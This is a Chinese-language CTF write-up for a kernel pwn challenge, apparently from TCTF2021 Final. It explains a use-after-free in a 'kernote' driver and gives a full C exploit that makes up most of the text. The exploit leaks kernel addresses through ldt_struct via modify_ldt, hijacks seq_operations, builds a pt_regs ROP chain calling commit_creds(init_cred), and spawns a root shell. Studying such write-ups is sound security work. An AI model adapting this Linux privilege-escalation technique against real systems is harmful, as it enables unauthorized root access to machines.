题目给的文件系统是 ext4,所以我们只需要将其挂载即可使用:
1、创建一个空目录
2、使用 mount 将其挂载即可
3、使用 umount 卸载即可完成打包
开启了 smap、smep、kaslr 和 kpti 保护,并且给了如下内核编译选项:
- Here are some kernel config options in case you need it
- ```
- CONFIG_SLAB=y
- CONFIG_SLAB_FREELIST_RANDOM=y
- CONFIG_SLAB_FREELIST_HARDENED=y
- CONFIG_HARDENED_USERCOPY=y
- CONFIG_STATIC_USERMODEHELPER=y
- CONFIG_STATIC_USERMODEHELPER_PATH=""
- ```
可以看到这里使用的是 slab 分配器而不是默认的 slub 分配器:
驱动程序比较简单,就一个 ioctl 函数,实现了四个功能,给了一个 32 字节大小的 UAF,并且有写 8 字节的能力。

漏洞的产生在于在释放了 buf[idx] 时,虽然将其置零了,但是我们可以通过 note 继续操作释放的堆块,这里就导致了 UAF。
这里需要注意的是本题使用的是 slab 分配器,其最小的堆块大小就是 32 字节了,所以这里的 ldt_struct 也是会分配到 32 字节的 object,所以这里选择 ldt_struct 泄漏内核基地址,然后再劫持 seq_operations,利用 pt_regs 一套带走。
exp 如下:
- #ifndef _GNU_SOURCE
- #define _GNU_SOURCE
- #endif
-
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
-
- #define SECONDARY_STARTUP_64 0xffffffff81000040
-
- size_t pop_rdi = 0xffffffff81075c4c; // pop rdi ; ret
- size_t init_cred = 0xffffffff8266b780;
- size_t commit_creds = 0xffffffff810c9dd0;
- size_t add_rsp_xx = 0xFFFFFFFF81A1B270;
- size_t swapgs_kpti = 0xFFFFFFFF81C00FB8;
-
- int seq_fd;
- char buffer[8];
-
- void err_exit(char *msg)
- {
- printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
- sleep(5);
- exit(EXIT_FAILURE);
- }
-
- void info(char *msg)
- {
- printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
- }
-
- void hexx(char *msg, size_t value)
- {
- printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
- }
-
- void binary_dump(char *desc, void *addr, int len) {
- uint64_t *buf64 = (uint64_t *) addr;
- uint8_t *buf8 = (uint8_t *) addr;
- if (desc != NULL) {
- printf("\033[33m[*] %s:\n\033[0m", desc);
- }
- for (int i = 0; i < len / 8; i += 4) {
- printf(" %04x", i * 8);
- for (int j = 0; j < 4; j++) {
- i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
- }
- printf(" ");
- for (int j = 0; j < 32 && j + i * 8 < len; j++) {
- printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
- }
- puts("");
- }
- }
-
- /* bind the process to specific core */
- void bind_core(int core)
- {
- cpu_set_t cpu_set;
-
- CPU_ZERO(&cpu_set);
- CPU_SET(core, &cpu_set);
- sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
-
- printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
- }
-
- int fd;
- void add(size_t idx)
- {
- ioctl(fd, 0x6667, idx);
- }
-
- void dele(size_t idx)
- {
- ioctl(fd, 0x6668, idx);
- }
-
- void note_get(size_t idx)
- {
- ioctl(fd, 0x6666, idx);
- }
-
- void note_write(size_t data)
- {
- ioctl(fd, 0x6669, data);
- }
-
-
-
- int main(int argc, char** argv, char** env)
- {
- bind_core(0);
- int res;
- int pipe_fd[2];
- size_t* buf;
- size_t temp;
- size_t page_offset_base;
- size_t search_addr;
- size_t kernel_offset;
- struct user_desc desc = { 0 };
-
- fd = open("/dev/kernote", O_RDWR);
- if (fd < 0) err_exit("Failed to open /dev/kernote");
-
- add(0);
- note_get(0);
- dele(0);
-
- page_offset_base = 0xffff888000000000;
- desc.base_addr = 0xff0000;
- desc.entry_number = 0x8000 / 8;
- syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
- while (1)
- {
- note_write(page_offset_base);
- res = syscall(SYS_modify_ldt, 0, &temp, 8);
- if (res > 0) break;
- else if (res == 0) err_exit("Error in leak page_offset_base by ldt_struct");
- page_offset_base += 0x4000000;
- }
- hexx("page_offset_base", page_offset_base);
-
- pipe(pipe_fd);
- buf = malloc(0x1000*sizeof(size_t));
- kernel_offset = -1;
- search_addr = page_offset_base;
- while (1)
- {
- note_write(search_addr);
- if (!fork())
- {
- res = syscall(SYS_modify_ldt, 0, buf, 0x8000);
- for (int i = 0; i < 0x1000; i++)
- if (buf[i] > 0xffffffff81000000 && (buf[i]&0xfff) == 0x040)
- {
- kernel_offset = buf[i] - SECONDARY_STARTUP_64;
- break;
- }
- write(pipe_fd[1], &kernel_offset, 8);
- exit(0);
- }
- wait(NULL);
- read(pipe_fd[0], &kernel_offset, 8);
- if (kernel_offset != -1) break;
- search_addr += 0x8000;
- }
- hexx("kernel_offset", kernel_offset);
-
- pop_rdi += kernel_offset;
- init_cred += kernel_offset;
- commit_creds += kernel_offset;
- swapgs_kpti += kernel_offset;
- add_rsp_xx += kernel_offset;
- hexx("add_rsp_xx", add_rsp_xx);
-
- add(1);
- note_get(1);
- dele(1);
-
- seq_fd = open("/proc/self/stat", O_RDONLY);
- if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");
- note_write(add_rsp_xx);
-
- asm(
- "mov r15, pop_rdi;"
- "mov r14, init_cred;"
- "mov r13, commit_creds;"
- "mov r12, swapgs_kpti;"
- "xor rax, rax;"
- "mov rdi, seq_fd;"
- "mov rsi, buffer;"
- "mov rdx, 8;"
- "syscall;"
- );
-
- hexx("UID", getuid());
- system("/bin/sh");
-
- return 0;
- }
效果如下:

这里调试时,又无法在 seq_operations->start 这里断住,思考了好久,最后想到了,seq_operations->start 是在 seq_read_iter 中被调用的,所以直接把断点打在 seq_read_iter 这里,然后再跟几步就可以跟到 seq_operations_start 了。以后就直接这样调试了
其实我们要注意栈回溯,如果断点断不下来,我们可以往前回溯,然后跟几步就 ok 了
参考:【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3's blog